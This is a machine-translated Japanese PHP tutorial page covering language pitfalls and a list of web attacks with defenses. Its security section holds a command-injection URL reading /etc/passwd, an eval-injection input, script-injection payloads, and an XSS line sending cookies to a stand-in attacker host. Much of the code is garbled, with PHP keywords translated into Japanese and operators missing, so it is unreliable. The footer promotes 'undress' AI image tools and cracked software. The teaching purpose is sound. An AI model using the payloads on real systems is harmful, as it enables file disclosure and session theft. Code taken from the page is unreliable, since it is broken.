検索
ホームページバックエンド開発PHPチュートリアルPHP プログラミングに関する考慮事項_PHP チュートリアル
PHP プログラミングに関する考慮事項_PHP チュートリアルJul 14, 2016 am 10:08 AM
phpwho優先度操作する予防プログラミング質問

1. PHP の暗黙的な三項演算子 (?:) の優先順位の問題:

例 1:
$person = $who または $person = "ラルエンス";
//実際には次と同等です:
$person = emptyempty($who)? "ラルエンス" : $who;
例 2
$arr = 配列(1=>1,3=>3);
$i = 2;
$a = 'テスト' . isset($arr[$i]) : $i;
$a とは何ですか? この質問は一見簡単そうに見えますが、
$a = 'テスト2';
実際、慎重に検討して実行した結果、次のようになります: 未定義のインデックス 2..
優先順位の問題により、コネクタは三項演算子よりも高い優先順位を持っています。
最初のステップは 'test' を判断することです。 isset($arr[$i]) この文字列は常に true です:
$a = $arr[$i]; php にプロンプ​​トが表示されます。
2. PHP 関数名とクラス名は大文字と小文字を区別しませんが、変数名は大文字と小文字を区別します。
そのため、私が作成した PHP モジュールには大文字小文字の問題が発生し、コンパイルに失敗することがよくあります。
3. 連載中の配信問題
複雑なデータ型を文字列に圧縮する
serialize() は変数とその値をテキスト形式にエンコードします
unserialize() は元の変数を復元します
$stooges = array('Moe','Larry','Curly');
$new = シリアライズ($stooges);
print_r($new);エコー "
";
print_r(unserialize($new));
結果: a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
配列 ([0] => モー [1] => ラリー [2] => カーリー)
これらのシリアル化されたデータを URL に入れてページ間で渡すときは、データに対して urlencode() を呼び出して、データ内の URL メタ文字が確実に処理されるようにする必要があります。
$shopping = array('ケシの実ベーグル' => 2,'プレーンベーグル' => 1,'Lox' => 4);
echo 'next';
marginic_quotes_gpc および magic_quotes_runtime 構成項目の設定は、unserialize() に渡されるデータに影響します。
magic_quotes_gpc オプションが有効な場合、URL、POST 変数、および Cookie で渡されたデータは、逆シリアル化の前に、stripslashes() で処理する必要があります。
$new_cart = unserialize(stripslashes($cart)); //magic_quotes_gpc がオンの場合
$new_cart = アンシリアライズ($cart);
magic_quotes_runtime が有効な場合、シリアル化されたデータは、ファイルに書き込む前に addslashes() で処理し、読み取る前にtripslashes() で処理する必要があります。
$fp = fopen('/tmp/cart','w');
fputs($fp,addslashes(serialize($a)));
fclose($fp);
//magic_quotes_runtime がオンになっている場合
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));
//magic_quotes_runtime がオフの場合
$new_cat = unserialize(file_get_contents('/tmp/cart'));
magic_quotes_runtime が有効な場合、データベースから読み取られたシリアル化されたデータは、stripslashes() によって処理される必要があり、データベースに保存されたシリアル化されたデータは、適切に保存できるように addslashes() によって処理される必要があります。
mysql_query("カート(id,data)に挿入します。values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('ID=1 のカートからデータを選択');
$ob = mysql_fetch_object($rs);
//magic_quotes_runtime がオンになっている場合
$new_cart = unserialize(stripslashes($ob->data));
//magic_quotes_runtime がオフの場合
$new_cart = unserialize($ob->data);
オブジェクトを逆シリアル化するとき、PHP は自動的に __wakeUp() メソッドを呼び出します。これにより、オブジェクトはシリアル化中に保存されなかったさまざまな状態を再確立できるようになります。例: データベース接続など。
4. 引用に関する注意事項
PHP での参照は、同じ変数の内容に異なる名前でアクセスすることを意味します。参照は C のポインターではありません (C 言語のポインターは、変数の内容とメモリに格納されているアドレスを格納します)。変数。 。 PHP では変数名と変数の内容が異なるため、同じ内容でも異なる名前が付けられることに注意してください。最も近い類似点は、Unix のファイル名とファイル自体です。変数名はディレクトリ エントリであり、変数の内容はファイル自体です。参照は、Unix ファイル システム内の緊密なリンク、または勝利へのショートカットとして考えることができます。
1) 参照の設定を解除すると、変数名と変数の内容の間のバインドが解除されるだけです。これは変数の内容が破壊されるという意味ではありません
例: $b の設定は解除されず、$a のみが設定解除されます。
$a = 1;
$b =& $a ;
設定解除 ( $a );
echo $b; //出力: 1:
unset($a) と $a=null を使用した結果は異なります。メモリのブロックに $a のマッピングが 1 つだけある場合、unset($a) は $a=null と同等になり、メモリのブロックに $a のマッピングが 2 つある場合は自動的にリサイクルされます。 $a と $b を組み合わせた場合、 unset($a) を実行すると $a=null が発生し、 $b は変更されず、 $a=null を実行すると $a=$b=null が発生します。
理由: 変数に null を代入すると、その変数に対応するメモリ ブロックの参照カウントが直接 0 に設定され、自動的にリサイクルされます。
2) PHP 参照は参照カウントとコピーオンライトを使用します
多くの人は、Php の参照が C のポインターと同じであると誤解しています。実際には、それらは異なり、大きく異なります。配列転送プロセス中に明示的に宣言する必要のない C 言語のポインターを除き、他のポイントは * を使用して定義する必要があります。ただし、PHP のアドレスへのポインター (ポインターと同様) 関数は、はい、PHP の参照は、その名前が示すように、「参照カウント、コピーオンライト」(Copy-on-Write、COW とも略されます) の原則を採用しています。書き込み時に実際にはメモリのコピーがコピーされます。
つまり、書き込み操作が発生しない限り、次のコードのように、同じアドレスを指す変数またはオブジェクトはコピーされません。
$a = 配列('a','c'...'n');
$b = $a;
プログラムがここでのみ実行される場合、 $b と $b は同じですが、C のように異なるメモリ空間を占有することはありません。代わりに、これらは同じメモリを指します。これが php と c の違いです。 $b が $a のメモリを指すように $b=&$a と記述する必要はありません。zend はすでに参照の実装を支援しており、zend はこれをいつ行うべきかを判断するのに非常に役立ちます。このように対処すべきではないとき。
後で次のコードを書き続ける場合は、関数を追加し、パラメーターを参照渡しして、配列のサイズを出力します。
function printArray(&$arr) //参照渡し
{
print(count($arr));
}
printArray($a);
上記のコードでは、参照によって $a 配列を printArray() 関数に渡します。zend エンジンは printArray() によって $a が変更される可能性があると判断し、この時点で $a データを自動的に生成します。 $b. メモリをコピーして、ストレージに再適用します。これが、前述した「参照カウント、コピーオンライト」の概念です。
直感的な理解: $a は独自の元のメモリ空間を使用し、$b は新しく開かれたメモリ空間を使用し、この空間は $a の元の ($a または $b が変更される前) コンテンツ空間の内容を使用します。これをコピーして、その後、対応する変更を加えます。
上記のコードを次のように変更すると:
function printArray($arr) //値の転送
{
print(count($arr));
}
printArray($a);
上記のコードは $a 値を printArray() に直接渡します。現時点では参照転送がないため、コピーオンライトは行われません。
引用の詳細については、PHP での引用の詳細な説明 (参照カウント、コピーオンライト) を参照してください
5. エンコーディングの問題
プログラムコードはUTF-8コードを使用していますが、strlen関数は文字数ではなく文字列のバイト数を計算しますか?
$str = "こんにちは、こんにちは";
エコー strlen($str);
結果: ANSI=9 および utf-8=11、utf-8 の中国語文字エンコーディングは 3 バイトです。文字数を取得するには、mb_strlen()を使用します。
6. PHP でパラメータを取得する 3 つの方法
方法 1 $argc $argv を使用する
if ($argc > 1){
print_r($argv);
}
コマンドラインから /usr/local/php/bin/php ./getopt.php -f 123 -g 456 を実行します
実行結果:
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
配列
(
& [0] = & gt;
[1] => -f
& [2] = & gt; & [3] = & gt;
[4] => 456
)
方法 2: getopt function() を使用する
$オプション = "f:g:";
$opts = getopt( $options );
print_r($opts);
コマンドラインから /usr/local/php/bin/php ./getopt.php -f 123 -g 456 を実行します
実行結果:
配列
(
& [F] = & gt; & [G] = & gt;
)
方法 3: ユーザーに入力を求め、入力パラメーターを取得します。 C言語に少し似ています
fwrite(STDOUT, "名前を入力してください: ");
$name = トリム(fgets(STDIN));
fwrite(STDOUT, "こんにちは、$name!");
コマンドラインから /usr/local/php/bin/php ./getopt.php を実行します
ランニング結果
あなたの名前を入力してください: フランシス
こんにちは、フランシス!
7. PHP 文字列は、C ポインター文字列と同様に配列として使用できます
$s = '12345';
$s[$s[0]] = 0;
エコー$s
?>
結果は10345です
8. PHP を記述する非常に効率的な方法:
参考:高効率なPHPの書き方(理由の詳しい解説)
9. PHP のセキュリティ脆弱性:
PHP Webサイトに対する攻撃手法は主に以下のとおりです。
1. コマンドインジェクション
次の 5 つの関数を PHP で使用して、外部アプリケーションまたは関数を実行できます: system、exec、passthru、shell_exec、「(shell_exec と同じ関数)」
例:
$dir = $_GET["dir"];
if (isset($dir)) {
エコー「」
;
システム("ls -al ".$dir);
エコー「」
;
}
?>
http://www.test.com/ex1.php?dir=| cat /etc/passwd を送信すると、コマンドは system("ls -al | cat /etc/passwd") になりました。覗いてみてください。
2. evalインジェクション(Evalインジェクション)
eval 関数は、入力文字列パラメーターを PHP プログラム コードとして実行します。Eval インジェクションは通常、攻撃者が入力文字列を制御できる場合に発生します。
$var = "変数";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"]
eval("$var = $arg;");
エコー "$var =".$var;
}
?>
http://www.sectop.com/ex2.php?arg=phpinfo(); を送信すると、脆弱性が発生します。
コマンドインジェクションとevalインジェクションを防ぐ方法
1) 外部コマンドを実行しないようにしてください。
2) カスタム関数または関数ライブラリを使用して、外部コマンドの関数を置き換えます。サーバーによっては、これらの関数の使用を直接禁止している場合もあります。
3) コマンドパラメータを処理するには、escapeshellarg 関数を使用します。esacpeshellarg 関数は、パラメータまたはコマンドの終わりを引き起こす文字をエスケープします。一重引用符「'」は「'」に置き換えられ、二重引用符は「"」に置き換えられます。は """ に置き換えられ、セミコロン ";" は ";" に置き換えられます
3. クライアント側のスクリプト攻撃(スクリプト挿入)
クライアントサイドスクリプト埋め込み攻撃手順
1) 攻撃者は通常のユーザーとして登録した後、Web サイトにログインします。
2) メッセージページを開き、攻撃用のJSコードを挿入します
3) 他のユーザー (管理者を含む) が Web サイトにログインし、このメッセージの内容を閲覧します
4) メッセージ内容に隠されていたjsコードが実行され、攻撃が成功しました
フォームには、ブラウザが実行できるいくつかのスクリプトが入力されます:
<script>while(1){windows.open();}</script>無限ポップアップボックスを挿入します
<script>location.href="http://www.sectop.com";</script> を挿入すると、フィッシング ページにジャンプします
悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換することです。
4. クロスサイトスクリプティング (XSS)
悪意のある攻撃者は、Web ページに悪意のある HTML コードを挿入し、ユーザーがそのページを閲覧すると、Web に埋め込まれた HTML コードが実行され、悪意のあるユーザーの特別な目的が達成されます。
クロスサイト スクリプティングは、攻撃者が Web サイト ユーザーの Cookie やその他の個人データを読み取るために主に使用され、攻撃者がこのデータを取得すると、このユーザーになりすまして Web サイトにログインし、このユーザーの許可を取得することができます。
クロスサイトスクリプティング攻撃の一般的な手順:
1) 攻撃者は、コメント フォームなどの何らかの方法で xss http リンクをターゲット ユーザーに送信します。
ドキュメントを挿入.location= “go.somewhere.bad?cookie=+”this.cookie
またはリンク:
http://w w w.my.site/index.php?user=
2) ターゲットユーザーはこのWebサイトにログインし、ログインプロセス中に攻撃者によって送信されたxssリンクを開きました
3) Web サイトはこの xss 攻撃スクリプトを実行しました
4) 対象ユーザーのページから攻撃者のWebサイトにジャンプし、攻撃者は対象ユーザーの情報を取得します
5) 攻撃者はターゲットユーザーの情報を使用してWebサイトにログインし、攻撃を完了します
悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換することです。
5. SQLインジェクション攻撃(SQLインジェクション)
SQL インジェクションに対する最も効果的な防御策は、プリペアド ステートメントを使用することです。
準備されたステートメント (準備されたステートメントとも呼ばれます) はクエリの一種であり、プリコンパイルと準備のために最初にサーバーに送信され、後でクエリが実行されるときにパラメーターが保存されている場所が通知されます。
利点:
1) パラメータ値をエスケープします。したがって、mysqli::real_escape_string のようなものを呼び出したり、パラメータを引用符で囲んだりする必要はありません。
2) スクリプトで複数回実行すると、通常、クエリを毎回ネットワーク経由で送信するよりも、準備されたステートメントのパフォーマンスが向上します。クエリが再度実行されると、パラメータのみがデータベースに送信されるため、必要なスペースが少なくなります。 。
1) PDO (PHP データ オブジェクト) を使用します:
PHP PDO::prepare() とexecute()
$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');
$preparedStatement->execute(array(':column' => $unsafeValue));
2) mysqliを使用します:
$stmt = $dbConnection->prepare('SELECT * FROM 従業員 WHERE name = ?');
$stmt->bind_param('s', $name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// $row で何かをする
}
6. クロスサイトリクエストフォージェリ (CSRF)
7. セッションハイジャック
8. セッションの固定
9. HTTP レスポンスの分割
10. ファイルアップロード攻撃
11. ディレクトリトラバーサル
12. リモートファイルインクルージョン攻撃(Remote Inclusion)
13. 動的関数注入攻撃(動的変数評価)
14. URL攻撃
15. なりすましフォームの送信
16. スプーフィングされた HTTP リクエスト
いくつかの重要な php.ini オプション: register_globals、magic_quotes、safe_mode。 これらのオプションは PHP5.4 で非推奨になります。
register_globals:
php>=4.2.0、register_globals
の場合、php.ini の register_globals オプションのデフォルト値はオフです。
が On に設定されている場合、プログラムはフォームによって送信された変数を含むさまざまな環境変数をサーバーから受け取ることができます。また、PHP は変数の値を事前に初期化する必要がないため、大きなセキュリティ リスクにつながります。
register_globals が無効になっていることを確認してください。 register_globals が有効な場合、$variable を使用して GET または POST 文字列を同じ名前に置き換えるなどの不注意な行為が可能になります。この設定を無効にすると、PHP は正しい名前空間の正しい変数を参照するように強制します。フォーム POST から変数を使用するには、$_POST['variable'] を引用符で囲む必要があります。こうすることで、この特定の変数を Cookie、セッション、または GET 変数と間違えることがなくなります。
セーフモード:
セーフ モードでは、PHP はドキュメントへのアクセスを制限し、環境変数へのアクセスを制限し、外部プログラムの実行を制御するために使用されます。セーフモードを有効にするには、php.iniでsafe_mode=Onを設定する必要があります
魔法の引用
PHP プログラムの入力情報を自動的にエスケープするために使用されます。すべての一重引用符 ("'")、二重引用符 (""")、バックスラッシュ ("")、およびヌル文字 (NULL) が自動的に追加されます。バックスラッシュはエスケープされます。 =On は、Magicquotes を On に設定するために使用されます。これは、HTTP リクエスト データ (GET、POST、Cookie) に影響します。プログラマは、addslashes を使用して送信された HTTP リクエスト データをエスケープしたり、stripslashes を使用してデータを削除したりすることもできます。

http://www.bkjia.com/PHPjc/477758.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/477758.html技術記事 1. PHP の暗黙的な三項演算子 (?:) の優先順位の問題: 例 1: $person = $who または $person = laruence; //実際には次と同等です: $person = emptyempty($who)? 例 2 $ arr =...
声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
php怎么把负数转为正整数php怎么把负数转为正整数Apr 19, 2022 pm 08:59 PM

php把负数转为正整数的方法:1、使用abs()函数将负数转为正数,使用intval()函数对正数取整,转为正整数,语法“intval(abs($number))”;2、利用“~”位运算符将负数取反加一,语法“~$number + 1”。

php怎么实现几秒后执行一个函数php怎么实现几秒后执行一个函数Apr 24, 2022 pm 01:12 PM

实现方法:1、使用“sleep(延迟秒数)”语句,可延迟执行函数若干秒;2、使用“time_nanosleep(延迟秒数,延迟纳秒数)”语句,可延迟执行函数若干秒和纳秒;3、使用“time_sleep_until(time()+7)”语句。

php字符串有没有下标php字符串有没有下标Apr 24, 2022 am 11:49 AM

php字符串有下标。在PHP中,下标不仅可以应用于数组和对象,还可应用于字符串,利用字符串的下标和中括号“[]”可以访问指定索引位置的字符,并对该字符进行读写,语法“字符串名[下标值]”;字符串的下标值(索引值)只能是整数类型,起始值为0。

php怎么除以100保留两位小数php怎么除以100保留两位小数Apr 22, 2022 pm 06:23 PM

php除以100保留两位小数的方法:1、利用“/”运算符进行除法运算,语法“数值 / 100”;2、使用“number_format(除法结果, 2)”或“sprintf("%.2f",除法结果)”语句进行四舍五入的处理值,并保留两位小数。

php怎么读取字符串后几个字符php怎么读取字符串后几个字符Apr 22, 2022 pm 08:31 PM

在php中,可以使用substr()函数来读取字符串后几个字符,只需要将该函数的第二个参数设置为负值,第三个参数省略即可;语法为“substr(字符串,-n)”,表示读取从字符串结尾处向前数第n个字符开始,直到字符串结尾的全部字符。

php怎么根据年月日判断是一年的第几天php怎么根据年月日判断是一年的第几天Apr 22, 2022 pm 05:02 PM

判断方法:1、使用“strtotime("年-月-日")”语句将给定的年月日转换为时间戳格式;2、用“date("z",时间戳)+1”语句计算指定时间戳是一年的第几天。date()返回的天数是从0开始计算的,因此真实天数需要在此基础上加1。

php怎么替换nbsp空格符php怎么替换nbsp空格符Apr 24, 2022 pm 02:55 PM

方法:1、用“str_replace("&nbsp;","其他字符",$str)”语句,可将nbsp符替换为其他字符;2、用“preg_replace("/(\s|\&nbsp\;||\xc2\xa0)/","其他字符",$str)”语句。

php怎么查找字符串是第几位php怎么查找字符串是第几位Apr 22, 2022 pm 06:48 PM

查找方法:1、用strpos(),语法“strpos("字符串值","查找子串")+1”;2、用stripos(),语法“strpos("字符串值","查找子串")+1”。因为字符串是从0开始计数的,因此两个函数获取的位置需要进行加1处理。

See all articles

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

Dreamweaver Mac版

Dreamweaver Mac版

ビジュアル Web 開発ツール

DVWA

DVWA

Damn Vulnerable Web App (DVWA) は、非常に脆弱な PHP/MySQL Web アプリケーションです。その主な目的は、セキュリティ専門家が法的環境でスキルとツールをテストするのに役立ち、Web 開発者が Web アプリケーションを保護するプロセスをより深く理解できるようにし、教師/生徒が教室環境で Web アプリケーションを教え/学習できるようにすることです。安全。 DVWA の目標は、シンプルでわかりやすいインターフェイスを通じて、さまざまな難易度で最も一般的な Web 脆弱性のいくつかを実践することです。このソフトウェアは、

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

EditPlus 中国語クラック版

EditPlus 中国語クラック版

サイズが小さく、構文の強調表示、コード プロンプト機能はサポートされていません

SublimeText3 Linux 新バージョン

SublimeText3 Linux 新バージョン

SublimeText3 Linux 最新バージョン